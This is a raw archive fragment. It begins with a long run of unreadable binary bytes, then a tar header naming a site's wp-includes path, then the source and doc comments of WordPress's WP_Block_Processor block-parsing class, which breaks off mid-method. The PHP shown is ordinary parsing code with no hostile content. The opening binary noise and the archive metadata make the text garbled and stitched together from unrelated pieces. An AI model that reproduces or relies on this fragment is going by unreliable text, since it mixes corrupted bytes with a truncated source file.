���n�N�^o��/^�N��c�z����6��b���*�s^�O`=�˯~m�z�@�Y�k��ȶZ�\J�^;�m�6��nU�j����^��_�g�Fc����=��z!�g���Y��6�K���ˌ�T~��țK��A���X���EZ���P���-%U��ڢ�~���%]%�:k?{�b�ߦ�jϮ�E�.�Ij�\��,�t�OSF�Z%ozz6�A�_���P�@͗����S`
F�|a�����a�|GƌN��f�;��rByI�0ćr��"�&ڃ��%!i�I~�r����0o��My�W}����Xҫ&>R]�#:pV�KX��K�6v�Z�aߗ��Z�I��p��d���ܹ>Omv�_}a�V�Q��v4]H�v�;��$J�[VO�}�e�`��ZG��Em���w���rԂ�v1ƚE�k{�:�����O���w�#8y3�� ��w.<��;�EY�I��dߪ��b���V�*Att���j�@�e:�3��U��*����ш�vs�D���
V�)��d/
�fuO�
�ba�.m9,��k��	��ς�pdj�/���|`7o�m�G�]QVl�K4������N�ޑn=�c}c�cV-�I�}P�7tS]bȦ���;�S��''0c]5��i��H<v���i�Ͽ�I��L����\��С^޾%��qV/OB!��a�ؑ�'�Cu�E|@��'�^c!S�ϲ���6�ȲHR�PHmF7�2�>B�{N���/ԑ�*�3�٤�wt���j9�I��ʃ@�P��}P�*���9���0����d�_�06�J��iUNu*ćNe�n�]Gн���Z��O����wt/�̊mu�Ԩi�C���V�Q֥�p�V��Z�EK&���Ȼ��4�!�ް���}��Pr���ښ�OI�`׹�Ƨ�7��f�p�Dߍ���&����ߩ�A^�n��k����+�����_���]�@E��ͺ|'laPC��F���WI�1�H]�E�
EAw���A[�1�!��oc_@��>B㠔�I�����ihR�F��
��m����5[�Q�,�Z���XG�!��9���}df�K�i��;ކ���A�t�\Q��/�:��ߝw߽��V��$�w��l3yZ VO�Ƭɿ��`�5�a�b��N�n$S�Nx���v�|��6[����p���R��"[��R���hV宲�Mt�o�D��޻{��φo�o�o�o����V2HPKYO\���#10/class-wp-block-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-block-processor.php000064400000207535151442400040021407 0ustar00<?php
/**
 * Efficiently scan through block structure in document without parsing
 * the entire block tree and all of its JSON attributes into memory.
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 6.9.0
 */

/**
 * Class for efficiently scanning through block structure in a document
 * without parsing the entire block tree and JSON attributes into memory.
 *
 * ## Overview
 *
 * This class is designed to help analyze and modify block structure in a
 * streaming fashion and to bridge the gap between parsed block trees and
 * the text representing them.
 *
 * Use-cases for this class include but are not limited to:
 *
 *  - Counting block types in a document.
 *  - Queuing stylesheets based on the presence of various block types.
 *  - Modifying blocks of a given type, i.e. migrations, updates, and styling.
 *  - Searching for content of specific kinds, e.g. checking for blocks
 *    with certain theme support attributes, or block bindings.
 *  - Adding CSS class names to the element wrapping a block’s inner blocks.
 *
 * > *Note!* If a fully-parsed block tree of a document is necessary, including
 * >         all the parsed JSON attributes, nested blocks, and HTML, consider
 * >         using {@see \parse_blocks()} instead which will parse the document
 * >         in one swift pass.
 *
 * For typical usage, jump first to the methods {@see self::next_block()},
 * {@see self::next_delimiter()}, or {@see self::next_token()}.
 *
 * ### Values
 *
 * As a lower-level interface than {@see parse_blocks()} this class follows
 * different performance-focused values:
 *
 *  - Minimize allocations so that documents of any size may be processed
 *    on a fixed or marginal amount of memory.
 *  - Make hidden costs explicit so that calling code only has to pay the
 *    performance penalty for features it needs.
 *  - Operate with a streaming and re-entrant design to make it possible
 *    to operate on chunks of a document and to resume after pausing.
 *
 * This means that some operations might appear more cumbersome than one
 * might expect. This design tradeoff opens up opportunity to wrap this in
 * a convenience class to add higher-level functionality.
 *
 * ## Concepts
 *
 * All text documents can be considered a block document containing a combination
 * of “freeform HTML” and explicit block structure. Block structure forms through
 * special HTML comments called _delimiters_ which include a block type and,
 * optionally, block attributes encoded as a JSON object payload.
 *
 * This processor is designed to scan through a block document from delimiter to
 * delimiter, tracking how the delimiters impact the structure of the document.
 * Spans of HTML appear between delimiters. If these spans exist at the top level
 * of the document, meaning there is no containing block around them, they are
 * considered freeform HTML content. If, however, they appear _inside_ block
 * structure they are interpreted as `innerHTML` for the containing block.
 *
 * ### Tokens and scanning
 *
 * As the processor scans through a document is reports information about the token
 * on which is pauses. Tokens represent spans of text in the input comprising block
 * delimiters and spans of HTML.
 *
 *  - {@see self::next_token()} visits every contiguous subspan of text in the
 *    input document. This includes all explicit block comment delimiters and spans
 *    of HTML content (whether freeform or inner HTML).
 *  - {@see self::next_delimiter()} visits every explicit block comment delimiter
 *    unless passed a block type which covers freeform HTML content. In these cases
 *    it will stop at top-level spans of HTML and report a `null` block type.
 *  - {@see self::next_block()} visits every block delimiter which _opens_ a block.
 *    This includes opening block delimiters as well as void block delimiters. With
 *    the same exception as above for freeform HTML block types, this will visit
 *    top-level spans of HTML content.
 *
 * When matched on a particular token, the following methods provide structural
 * and textual information about it:
 *
 *  - {@see self::get_delimiter_type()} reports whether the delimiter is an opener,
 *    a closer, or if it represents a whole void block.
 *  - {@see self::get_block_type()} reports the fully-qualified block type which
 *    the delimiter represents.
 *  - {@see self::get_printable_block_type()} reports the fully-qualified block type,
 *    but returns `core/freeform` instead of `null` for top-level freeform HTML content.
 *  - {@see self::is_block_type()} indicates if the delimiter represents a block of
 *    the given block type, or wildcard or pseudo-block type described below.
 *  - {@see self::opens_block()} indicates if the delimiter opens a block of one
 *    of the provided block types. Opening, void, and top-level freeform HTML content
 *    all open blocks.
 *  - {@see static::get_attributes()} is currently reserved for a future streaming
 *    JSON parser class.
 *  - {@see self::allocate_and_return_parsed_attributes()} extracts the JSON attributes
 *    for delimiters which open blocks and return the fully-parsed attributes as an
 *    associative array. {@see static::get_last_json_error()} for when this fails.
 *  - {@see self::is_html()} indicates if the token is a span of HTML which might
 *    be top-level freeform content or a block’s inner HTML.
 *  - {@see self::get_html_content()} returns the span of HTML.
 *  - {@see self::get_span()} for the byte offset and length into the input document
 *    representing the token.
 *
 * It’s possible for the processor to fail to scan forward if the input document ends
 * in a proper prefix of an explicit block comment delimiter. For example, if the input
 * ends in `<!-- wp:` then it _might_ be the start of another delimiter. The parser
 * cannot know, however, and therefore refuses to proceed. {@see static::get_last_error()}
 * to distinguish between a failure to find the next token and an incomplete input.
 *
 * ### Block types
 *
 * A block’s “type” comprises an optional _namespace_ and _name_. If the namespace
 * isn’t provided it will be interpreted as the implicit `core` namespace. For example,
 * the type `gallery` is the name of the block in the `core` namespace, but the type
 * `abc/gallery` is the _fully-qualified_ block type for the block whose name is still
 * `gallery`, but in the `abc` namespace.
 *
 * Methods on this class are aware of this block naming semantic and anywhere a block
 * type is an argument to a method it will be normalized to account for implicit namespaces.
 * Passing `paragraph` is the same as passing `core/paragraph`. On the contrary, anywhere
 * this class returns a block type, it will return the fully-qualified and normalized form.
 * For example, for the `<!-- wp:group -->` delimiter it will return `core/group` as the
 * block type.
 *
 * There are two special block types that change the behavior of the processor:
 *
 *  - The wildcard `*` represents _any block_. In addition to matching all block types,
 *    it also represents top-level freeform HTML whose block type is reported as `null`.
 *
 *  - The `core/freeform` block type is a pseudo-block type which explicitly matches
 *    top-level freeform HTML.
 *
 * These special block types can be passed into any method which searches for blocks.
 *
 * There is one additional special block type which may be returned from
 * {@see self::get_printable_block_type()}. This is the `#innerHTML` type, which
 * indicates that the HTML span on which the processor is paused is inner HTML for
 * a containing block.
 *
 * ### Spans of HTML
 *
 * Non-block content plays a complicated role in processing block documents. This
 * processor exposes tools to help work with these spans of HTML.
 *
 *  - {@see self::is_html()} indicates if the processor is paused at a span of
 *    HTML but does not differentiate between top-level freeform content and inner HTML.
 *  - {@see self::is_non_whitespace_html()} indicates not only if the processor
 *    is paused at a span of HTML, but also whether that span incorporates more than
 *    whitespace characters. Because block serialization often inserts newlines between
 *    block comment delimiters, this is useful for distinguishing “real” freeform
 *    content from purely aesthetic syntax.
 *  - {@see self::is_block_type()} matches top-level freeform HTML content when
 *    provided one of the special block types described above.
 *
 * ### Block structure
 *
 * As the processor traverses block delimiters it maintains a stack of which blocks are
 * open at the given place in the document where it’s paused. This stack represents the
 * block structure of a document and is used to determine where blocks end, which blocks
 * represent inner blocks, whether a span of HTML is top-level freeform content, and
 * more. Investigate the stack with {@see self::get_breadcrumbs()}, which returns an
 * array of block types starting at the outermost-open block and descending to the
 * currently-visited block.
 *
 * Unlike {@parse_blocks()}, spans of HTML appear in this structure as the special
 * reported block type `#html`. Such a span represents inner HTML for a block if the
 * depth reported by {@see self::get_depth()} is greater than one.
 *
 * It will generally not be necessary to inspect the stack of open blocks, though
 * depth may be important for finding where blocks end. When visiting a block opener,
 * the depth will have been increased before pausing; in contrast the depth is
 * decremented before visiting a closer. This makes the following an easy way to
 * determine if a block is still open.
 *
 * Example:
 *
 *     $depth = $processor->get_depth();
 *     while ( $processor->next_token() && $processor->get_depth() > $depth ) {
 *         continue
 *     }
 *     // Processor is now paused at the token immediately following the closed block.
 *
 * #### Extracting blocks
 *
 * A unique feature of this processor is the ability to return the same output as
 * {@see \parse_blocks()} would produce, but for a subset of the input document.
 * For example, it’s possible to extract an image block, manipulate that parsed
 * block, and re-serialize it into the original document. It’s possible to do so
 * while skipping over the parse of the rest of the document.
 *
 * {@see self::extract_full_block_and_advance()} will scan forward from the current block opener
 * and build the parsed block structure until the current block is closed. It will
 * include all inner HTML and inner blocks, and parse all of the inner blocks. It
 * can be used to extract a block at any depth in the document, helpful for operating
 * on blocks within nested structure.
 *
 * Example:
 *
 *     if ( ! $processor->next_block( 'gallery' ) ) {
 *         return $post_content;
 *     }
 *
 *     $gallery_at    = $processor->get_span()->start;
 *     $gallery_block = $processor->extract_full_block_and_advance();
 *     $after_gallery = $processor->get_span()->start;
 *     return (
 *         substr( $post_content, 0, $gallery_at ) .
 *         serialize_block( modify_gallery( $gallery_block ) .
 *         substr( $post_content, $after_gallery )
 *     );
 *
 * #### Handling of malformed structure
 *
 * There are situations where closing block delimiters appear for which no open block
 * exists, or where a document ends before a block is closed, or where a closing block
 * delimiter appears but references a different block type than the most-recently
 * opened block does. In all of these cases, the stack of open blocks should mirror
 * the behavior in {@see \parse_blocks()}.
 *
 * Unlike {@see \parse_blocks()}, however, this processor can still operate on the
 * invalid block delimiters. It provides a few functions which can be used for building
 * custom and non-spec-compliant error handling.
 *
 *  - {@see self::has_closing_flag()} indicates if the block delimiter contains the
 *    closing flag at the end. Some invalid block delimiters might contain both the
 *    void and closing flag, in which case {@see self::get_delimiter_type()} will
 *    report that it’s a void block.
 *  - {@see static::get_last_error()} indicates if the processor reached an invalid
 *    block closing. Depending on the context, {@see \parse_blocks()} might instead
 *    ignore the token or treat it as freeform HTML content.
 *
 * ## Static helpers
 *
 * This class provides helpers for performing semantic block-related operations.
 *
 *  - {@see self::normalize_block_type()} takes a block type with or without the
 *    implicit `core` namespace and returns a fully-qualified block type.
 *  - {@see self::are_equal_block_types()} indicates if two spans across one or
 *    more input texts represent the same fully-qualified block type.
 *
 * ## Subclassing
 *
 * This processor is designed to accurately parse a block document. Therefore, many
 * of its methods are not meant for subclassing. However, overall this class supports
 * building higher-level convenience classes which may choose to subclass it. For those
 * classes, avoid re-implementing methods except for the list below. Instead, create
 * new names representing the higher-level concepts being introduced. For example, instead
 * of creating a new method named `next_block()` which only advances to blocks of a given
 * kind, consider creating a new method named something like `next_layout_block()` which
 * won’t interfere with the base class method.
 *
 *  - {@see static::get_last_error()} may be reimplemented to report new errors in the subclass
 *    which aren’t intrinsic to block parsing.
 *  - {@see static::get_attributes()} may be reimplemented to provide a streaming interface
 *    to reading and modifying a block’s JSON attributes. It should be fast and memory efficient.
 *  - {@see static::get_last_json_error()} may be reimplemented to report new errors introduced
 *    with a reimplementation of {@see static::get_attributes()}.
 *
 * @since 6.9.0
 */
class WP_Block_Processor {
	/**
	 * Indicates if the last operation failed, otherwise
	 * will be `null` for success.
	 *
	 * @since 6.9.0
	 *
	 * @var string|null
	 */
	private $last_error = null;

	/**
	 * Indicates failures from decoding JSON attributes.
	 *
	 * @since 6.9.0
	 *
	 * @see \json_last_error()
	 *
	 * @var int
	 */
	private $last_json_error = JSON_ERROR_NONE;

	/**
	 * Source text provided to processor.
	 *
	 * @since 6.9.0
	 *
	 * @var string
	 */
	protected $source_text;

	/**
	 * Byte offset into source text where a matched delimiter starts.
	 *
	 * Example:
	 *
	 *          5    10   15   20   25   30   35   40   45   50
	 *     <!-- wp:group --><!-- wp:void /--><!-- /wp:group -->
	 *                      ╰─ Starts at byte offset 17.
	 *
	 * @since 6.9.0
	 *
	 * @var int
	 */
	private $matched_delimiter_at = 0;

	/**
	 * Byte length of full span of a matched delimiter.
	 *
	 * Example:
	 *
	 *          5    10   15   20   25   30   35   40   45   50
	 *     <!-- wp:group --><!-- wp:void /--><!-- /wp:group -->
	 *                      ╰───────────────╯
	 *                        17 bytes long.
	 *
	 * @since 6.9.0
	 *
	 * @var int
	 */
	private $matched_delimiter_length = 0;

	/**
	 * First byte offset into source text following any previously-matched delimiter.
	 * Used to indicate where an HTML span starts.
	 *
	 * Example:
	 *
	 *          5    10   15   20   25   30   35   40   45   50   55
	 *     <!-- wp:paragraph --><p>Content</p><⃨!⃨-⃨-⃨ ⃨/⃨w⃨p⃨:⃨p⃨a⃨r⃨a⃨g⃨r⃨a⃨p⃨h⃨ ⃨-⃨-⃨>⃨
	 *                          │             ╰─ This delimiter was matched, and after matching,
	 *                          │                revealed the preceding HTML span.
	 *                          │
	 *                          ╰─ The first byte offset after the previous matched delimiter
	 *                             is 21. Because the matched delimiter starts at 55, which is after
	 *                             this, a span of HTML must exist between these boundaries.
	 *
	 * @since 6.9.0
	 *
	 * @var int
	 */
	private $after_previous_delimiter = 0;

	/**
	 * Byte offset where namespace span begins.
	 *
	 * When no namespace is present, this will be the same as the starting
	 * byte offset for the block name.
	 *
	 * Example:
	 *
	 *     <!-- wp:core/gallery -->
	 *             │    ╰─ Name starts here.
	 *             ╰─ Namespace starts here.
	 *
	 *     <!-- wp:gallery -->
	 *             ├─ The namespace would start here but is implied as “core.”
	 *             ╰─ The name starts here.
	 *
	 * @since 6.9.0
	 *
	 * @var int
	 */
	private $namespace_at = 0;

	/**
	 * Byte offset where block name span begins.
	 *
	 * When no namespace is present, this will be the same as the starting
	 * byte offset for the block namespace.
	 *
	 * Example:
	 *
	 *     <!-- wp:core/gallery -->
	 *             │    ╰─ Name starts here.
	 *             ╰─ Namespace starts here.
	 *
	 *     <!-- wp:gallery -->
	 *             ├─ The namespace would start here but is implied as “core.”
	 *             ╰─ The name starts here.
	 *
	 * @since 6.9.0
	 *
	 * @var int
	 */
	private $name_at = 0;

	/**
	 * Byte length of block name span.
	 *
	 * Example:
	 *
	 *          5    10   15   20   25
	 *     <!-- wp:core/gallery -->
	 *                  ╰─────╯
	 *                7 bytes long.
	 *
	 * @since 6.9.0
	 *
	 * @var int
	 */
	private $name_length = 0;

	/**
	 * Whether the delimiter contains the block-closing flag.
	 *
	 * This may be erroneous if present within a void block,
	 * therefore the {@see self::has_closing_flag()} can be used by
	 * calling code to perform custom error-handling.
	 *
	 * @since 6.9.0
	 *
	 * @var bool
	 */
	private $has_closing_flag = false;

	/**
	 * Byte offset where JSON attributes span begins.
	 *
	 * Example:
	 *
	 *          5    10   15   20   25   30   35   40
	 *     <!-- wp:paragraph {"dropCaps":true} -->
	 *                       ╰─ Starts at byte offset 18.
	 *
	 * @since 6.9.0
	 *
	 * @var int
	 */
	private $json_at;

	/**
	 * Byte length of JSON attributes span, or 0 if none are present.
	 *
	 * Example:
	 *
	 *          5    10   15   20   25   30   35   40
	 *     <!-- wp:paragraph {"dropCaps":true} -->
	 *                       ╰───────────────╯
	 *                         17 bytes long.
	 *
	 * @since 6.9.0
	 *
	 * @var int
	 */
	private $json_length = 0;

	/**
	 * Internal parser state, differentiating whether the instance is currently matched,
	 * on an implicit freeform node, in error, or ready to begin parsing.
	 *
	 * @see self::READY
	 * @see self::MATCHED
	 * @see self::HTML_SPAN
	 * @see self::INCOMPLETE_INPUT
	 * @see self::COMPLETE
	 *
	 * @since 6.9.0
	 *
	 * @var string
	 */
	protected $state = self::READY;

	/**
	 * Indicates what kind of block comment delimiter was matched.
	 *
	 * One of:
	 *
	 *  - {@see self::OPENER} If the delimiter is opening a block.
	 *  - {@see self::CLOSER} If the delimiter is closing an open block.
	 *  - {@see self::VOID}   If the delimiter represents a void block with no inner content.
	 *
	 * If a parsed comment delimiter contains both the closing and the void
	 * flags then it will be interpreted as a void block to match the behavior
	 * of the official block parser, however, this is a syntax error and probably
	 * the block ought to close an open block of the same name, if one is open.
	 *
	 * @since 6.9.0
	 *
	 * @var string
	 */
	private $type;

	/**
	 * Whether the last-matched delimiter acts like a void block and should be
	 * popped from the stack of open blocks as soon as the parser advances.
	 *
	 * This applies to void block delimiters and to HTML spans.
	 *
	 * @since 6.9.0
	 *
	 * @var bool
	 */
	private $was_void = false;

	/**
	 * For every open block, in hierarchical order, this stores the byte offset
	 * into the source text where the block type starts, including for HTML spans.
	 *
	 * To avoid allocating and normalizing block names when they aren’t requested,
	 * the stack of open blocks is stored as the byte offsets and byte lengths of
	 * each open block’s block type. This allows for minimal tracking and quick
	 * reading or comparison of block types when requested.
	 *
	 * @since 6.9.0
	 *
	 * @see self::$open_blocks_length
	 *
	 * @var int[]
	 */
	private $open_blocks_at = array();

	/**
	 * For every open block, in hierarchical order, this stores the byte length
	 * of the block’s block type in the source text. For HTML spans this is 0.
	 *
	 * @since 6.9.0
	 *
	 * @see self::$open_blocks_at
	 *
	 * @var int[]
	 */
	private $open_blocks_length = array();

	/**
	 * Indicates which operation should apply to the stack of open blocks after
	 * processing any pending spans of HTML.
	 *
	 * Since HTML spans are discovered after matching block delimiters, those
	 * delimiters need to defer modifying the stack of open blocks. This value,
	 * if set, indicates what operation should be applied. The properties
	 * associated with token boundaries still point to the delimiters even
	 * when processing HTML spans, so there’s no need to track them independently.
	 *
	 * @var 'push'|'void'|'pop'|null
	 */
	private $next_stack_op = null;

	/**
	 * Creates a new block processor.
	 *
	 * Example:
	 *
	 *     $processor = new WP_Block_Processor( $post_content );
	 *     if ( $processor->next_block( 'core/image' ) ) {
	 *         echo "Found an image!\n";
	 *     }
	 *
	 * @see self::next_block() to advance to the start of the next block (skips closers).
	 * @see self::next_delimiter() to advance to the next explicit block delimiter.
	 * @see self::next_token() to advance to the next block delimiter or HTML span.
	 *
	 * @since 6.9.0
	 *
	 * @param string $source_text Input document potentially containing block content.
	 */
	public function __construct( string $source_text ) {
		$this->source_text = $source_text;
	}

	/**
	 * Advance to the next block delimiter which opens a block, indicating if one was found.
	 *
	 * Delimiters which open blocks include opening and void block delimiters. To visit
	 * freeform HTML content, pass the wildcard “*” as the block type.
	 *
	 * Use this function to walk through the blocks in a document, pausing where they open.
	 *
	 * Example blocks:
	 *
	 *     // The first delimiter opens the paragraph block.
	 *     <⃨!⃨-⃨-⃨ ⃨w⃨p⃨:⃨p⃨a⃨r⃨a⃨g⃨r⃨a⃨p⃨h⃨ ⃨-⃨-⃨>⃨<p>Content</p><!-- /wp:paragraph-->
	 *
	 *     // The void block is the first opener in this sequence of closers.
	 *     <!-- /wp:group --><⃨!⃨-⃨-⃨ ⃨w⃨p⃨:⃨s⃨p⃨a⃨c⃨e⃨r⃨ ⃨{⃨"⃨h⃨e⃨i⃨g⃨h⃨t⃨"⃨:⃨"⃨2⃨0⃨0⃨p⃨x⃨"⃨}⃨ ⃨/⃨-⃨-⃨>⃨<!-- /wp:group -->
	 *
	 *     // If, however, `*` is provided as the block type, freeform content is matched.
	 *     <⃨h⃨2⃨>⃨M⃨y⃨ ⃨s⃨y⃨n⃨o⃨p⃨s⃨i⃨s⃨<⃨/⃨h⃨2⃨>⃨\⃨n⃨<!-- wp:my/table-of-contents /-->
	 *
	 *     // Inner HTML is never freeform content, and will not be matched even with the wildcard.
	 *     <!-- /wp:list-item --></ul><!-- /wp:list --><⃨!⃨-⃨-⃨ ⃨w⃨p⃨:⃨p⃨a⃨r⃨a⃨g⃨r⃨a⃨p⃨h⃨ ⃨-⃨>⃨<p>
	 *
	 * Example:
	 *
	 *     // Find all textual ranges of image block opening delimiters.
	 *     $images = array();
	 *     $processor = new WP_Block_Processor( $html );
	 *     while ( $processor->next_block( 'core/image' ) ) {
	 *         $images[] = $processor->get_span();
	 *     }
	 *
	 *  In some cases it may be useful to conditionally visit the implicit freeform
	 *  blocks, such as when determining if a post contains freeform content that
	 *  isn’t purely whitespace.
	 *
	 *  Example:
	 *
	 *      $seen_block_types = [];
	 *      $block_type       = '*';
	 *      $processor        = new WP_Block_Processor( $html );
	 *      while ( $processor->next_block( $block_type ) {
	 *          // Stop wasting time visiting freeform blocks after one has been found.
	 *          if (
	 *              '*' === $block_type &&
	 *              null === $processor->get_block_type() &&
	 *              $processor->is_non_whitespace_html()
	 *          ) {
	 *              $block_type = null;
	 *              $seen_block_types['core/freeform'] = true;
	 *              continue;
	 *          }
	 *
	 *          $seen_block_types[ $processor->get_block_type() ] = true;
	 *      }
	 *
	 * @since 6.9.0
	 *
	 * @see self::next_delimiter() to advance to the next explicit block delimiter.
	 * @see self::next_token() to advance to the next block delimiter or HTML span.
	 *
	 * @param string|null $block_type Optional. If provided, advance until a block of this type is found.
	 *                                Default is to stop at any block regardless of its type.
	 * @return bool Whether an opening delimiter for a block was found.
	 */
	public function next_block( ?string $block_type = null ): bool {
		while ( $this->next_delimiter( $block_type ) ) {
			if ( self::CLOSER !== $this->get_delimiter_type() ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Advance to the next block delimiter in a document, indicating if one was found.
	 *
	 * Delimiters may include invalid JSON. This parser does not attempt to parse the
	 * JSON attributes until requested; when invalid, the attributes will be null. This
	 * matches the behavior of {@see \parse_blocks()}. To visit freeform HTML content,
	 * pass the wildcard “*” as the block type.
	 *
	 * Use this function to walk through the block delimiters in a document.
	 *
	 * Example delimiters:
	 *
	 *     <!-- wp:paragraph {"dropCap": true} -->
	 *     <!-- wp:separator /-->
	 *     <!-- /wp:paragraph -->
	 *
	 *     // If the wildcard `*` is provided as the block type, freeform content is matched.
	 *     <⃨h⃨2⃨>⃨M⃨y⃨ ⃨s⃨y⃨n⃨o⃨p⃨s⃨i⃨s⃨<⃨/⃨h⃨2⃨>⃨\⃨n⃨<!-- wp:my/table-of-contents /-->
	 *
	 *     // Inner HTML is never freeform content, and will not be matched even with the wildcard.
	 *     ...</ul><⃨!⃨-⃨-⃨ ⃨/⃨w⃨p⃨:⃨l⃨i⃨s⃨t⃨ ⃨-⃨-⃨>⃨<!-- wp:paragraph --><p>
	 *
	 * Example:
	 *
	 *     $html      = '<!-- wp:void /-->\n<!-- wp:void /-->';
	 *     $processor = new WP_Block_Processor( $html );
	 *     while ( $processor->next_delimiter() {
	 *         // Runs twice, seeing both void blocks of type “core/void.”
	 *     }
	 *
	 *     $processor = new WP_Block_Processor( $html );
	 *     while ( $processor->next_delimiter( '*' ) ) {
	 *         // Runs thrice, seeing the void block, the newline span, and the void block.
	 *     }
	 *
	 * @since 6.9.0
	 *
	 * @param string|null $block_name Optional. Keep searching until a block of this name is found.
	 *                                Defaults to visit every block regardless of type.
	 * @return bool Whether a block delimiter was matched.
	 */
	public function next_delimiter( ?string $block_name = null ): bool {
		if ( ! isset( $block_name ) ) {
			while ( $this->next_token() ) {
				if ( ! $this->is_html() ) {
					return true;
				}
			}

			return false;
		}

		while ( $this->next_token() ) {
			if ( $this->is_block_type( $block_name ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Advance to the next block delimiter or HTML span in a document, indicating if one was found.
	 *
	 * This function steps through every syntactic chunk in a document. This includes explicit
	 * block comment delimiters, freeform non-block content, and inner HTML segments.
	 *
	 * Example tokens:
	 *
	 *     <!-- wp:paragraph {"dropCap": true} -->
	 *     <!-- wp:separator /-->
	 *     <!-- /wp:paragraph -->
	 *     <p>Normal HTML content</p>
	 *     Plaintext content too!
	 *
	 * Example:
	 *
	 *     // Find span containing wrapping HTML element surrounding inner blocks.
	 *     $processor = new WP_Block_Processor( $html );
	 *     if ( ! $processor->next_block( 'gallery' ) ) {
	 *         return null;
	 *     }
	 *
	 *     $containing_span = null;
	 *     while ( $processor->next_token() && $processor->is_html() ) {
	 *         $containing_span = $processor->get_span();
	 *     }
	 *
	 * This method will visit all HTML spans including those forming freeform non-block
	 * content as well as those which are part of a block’s inner HTML.
	 *
	 * @since 6.9.0
	 *
	 * @return bool Whether a token was matched or the end of the document was reached without finding any.
	 */
	public function next_token(): bool {
		if ( $this->last_error || self::COMPLETE === $this->state || self::INCOMPLETE_INPUT === $this->state ) {
			return false;
		}

		// Void tokens automatically pop off the stack of open blocks.
		if ( $this->was_void ) {
			array_pop( $this->open_blocks_at );
			array_pop( $this->open_blocks_length );
			$this->was_void = false;
		}

		$text = $this->source_text;
		$end  = strlen( $text );

		/*
		 * Because HTML spans are inferred after finding the next delimiter, it means that
		 * the parser must transition out of that HTML state and reuse the token boundaries
		 * it found after the HTML span. If those boundaries are before the end of the
		 * document it implies that a real delimiter was found; otherwise this must be the
		 * terminating HTML span and the parsing is complete.
		 */
		if ( self::HTML_SPAN === $this->state ) {
			if ( $this->matched_delimiter_at >= $end ) {
				$this->state = self::COMPLETE;
				return false;
			}

			switch ( $this->next_stack_op ) {
				case 'void':
					$this->was_void             = true;
					$this->open_blocks_at[]     = $this->namespace_at;
					$this->open_blocks_length[] = $this->name_at + $this->name_length - $this->namespace_at;
					break;

				case 'push':
					$this->open_blocks_at[]     = $this->namespace_at;
					$this->open_blocks_length[] = $this->name_at + $this->name_length - $this->namespace_at;
					break;

				case 'pop':
					array_pop( $this->open_blocks_at );
					array_pop( $this->open_blocks_length );
					break;
			}

			$this->next_stack_op = null;
			$this->state         = self::MATCHED;
			return true;
		}

		$this->state          = self::READY;
		$after_prev_delimiter = $this->matched_delimiter_at + $this->matched_delimiter_length;
		$at                   = $after_prev_delimiter;

		while ( $at < $end ) {
			/*
			 * Find the next possible start of a delimiter.
			 *
			 * This follows the behavior in the official block parser, which segments a post
			 * by the block comment delimiters. It is possible for an HTML attribute to contain
			 * what looks like a block comment delimiter but which is actually an HTML attribute
			 * value. In such a case, the parser here will break apart the HTML and create the
			 * block boundary inside the HTML attribute. In other words, the block parser
			 * isolates sections of HTML from each other, even if that leads to malformed markup.
			 *
			 * For a more robust parse, scan through the document with the HTML API and parse
			 * comments once they are matched to see if they are also block delimiters. In
			 * practice, this nuance has not caused any known problems since developing blocks.
			 *
			 * <⃨!⃨-⃨-⃨ /wp:core/paragraph {"dropCap":true} /-->
			 */
			$comment_opening_at = strpos( $text, '<!--', $at );

			/*
			 * Even if the start of a potential block delimiter is not found, the document
			 * might end in a prefix of such, and in that case there is incomplete input.
			 */
			if ( false === $comment_opening_at ) {
				if ( str_ends_with( $text, '<!-' ) ) {
					$backup = 3;
				} elseif ( str_ends_with( $text, '<!' ) ) {
					$backup = 2;
				} elseif ( str_ends_with( $text, '<' ) ) {
					$backup = 1;
				} else {
					$backup = 0;
				}

				// Whether or not there is a potential delimiter, there might be an HTML span.
				if ( $after_prev_delimiter < ( $end - $backup ) ) {
					$this->state                    = self::HTML_SPAN;
					$this->after_previous_delimiter = $after_prev_delimiter;
					$this->matched_delimiter_at     = $end - $backup;
					$this->matched_delimiter_length = $backup;
					$this->open_blocks_at[]         = $after_prev_delimiter;
					$this->open_blocks_length[]     = 0;
					$this->was_void                 = true;
					return true;
				}

				/*
				 * In the case that there is the start of an HTML comment, it means that there
				 * might be a block delimiter, but it’s not possible know, therefore it’s incomplete.
				 */
				if ( $backup > 0 ) {
					goto incomplete;
				}

				// Otherwise this is the end.
				$this->state = self::COMPLETE;
				return false;
			}

			// <!-- ⃨/wp:core/paragraph {"dropCap":true} /-->
			$opening_whitespace_at = $comment_opening_at + 4;
			if ( $opening_whitespace_at >= $end ) {
				goto incomplete;
			}

			$opening_whitespace_length = strspn( $text, " \t\f\r\n", $opening_whitespace_at );

			/*
			 * The `wp` prefix cannot come before this point, but it may come after it
			 * depending on the presence of the closer. This is detected next.
			 */
			$wp_prefix_at = $opening_whitespace_at + $opening_whitespace_length;
			if ( $wp_prefix_at >= $end ) {
				goto incomplete;
			}

			if ( 0 === $opening_whitespace_length ) {
				$at = $this->find_html_comment_end( $comment_opening_at, $end );
				continue;
			}

			// <!-- /⃨wp:core/paragraph {"dropCap":true} /-->
			$has_closer = false;
			if ( '/' === $text[ $wp_prefix_at ] ) {
				$has_closer = true;
				++$wp_prefix_at;
			}

			// <!-- /w⃨p⃨:⃨core/paragraph {"dropCap":true} /-->
			if ( $wp_prefix_at < $end && 0 !== substr_compare( $text, 'wp:', $wp_prefix_at, 3 ) ) {
				if (
					( $wp_prefix_at + 2 >= $end && str_ends_with( $text, 'wp' ) ) ||
					( $wp_prefix_at + 1 >= $end && str_ends_with( $text, 'w' ) )
				) {
					goto incomplete;
				}

				$at = $this->find_html_comment_end( $comment_opening_at, $end );
				continue;
			}

			/*
			 * If the block contains no namespace, this will end up masquerading with
			 * the block name. It’s easier to first detect the span and then determine
			 * if it’s a namespace of a name.
			 *
			 * <!-- /wp:c⃨o⃨r⃨e⃨/paragraph {"dropCap":true} /-->
			 */
			$namespace_at = $wp_prefix_at + 3;
			if ( $namespace_at >= $end ) {
				goto incomplete;
			}

			$start_of_namespace = $text[ $namespace_at ];

			// The namespace must start with a-z.
			if ( 'a' > $start_of_namespace || 'z' < $start_of_namespace ) {
				$at = $this->find_html_comment_end( $comment_opening_at, $end );
				continue;
			}

			$namespace_length = 1 + strspn( $text, 'abcdefghijklmnopqrstuvwxyz0123456789-_', $namespace_at + 1 );
			$separator_at     = $namespace_at + $namespace_length;
			if ( $separator_at >= $end ) {
				goto incomplete;
			}

			// <!-- /wp:core/⃨paragraph {"dropCap":true} /-->
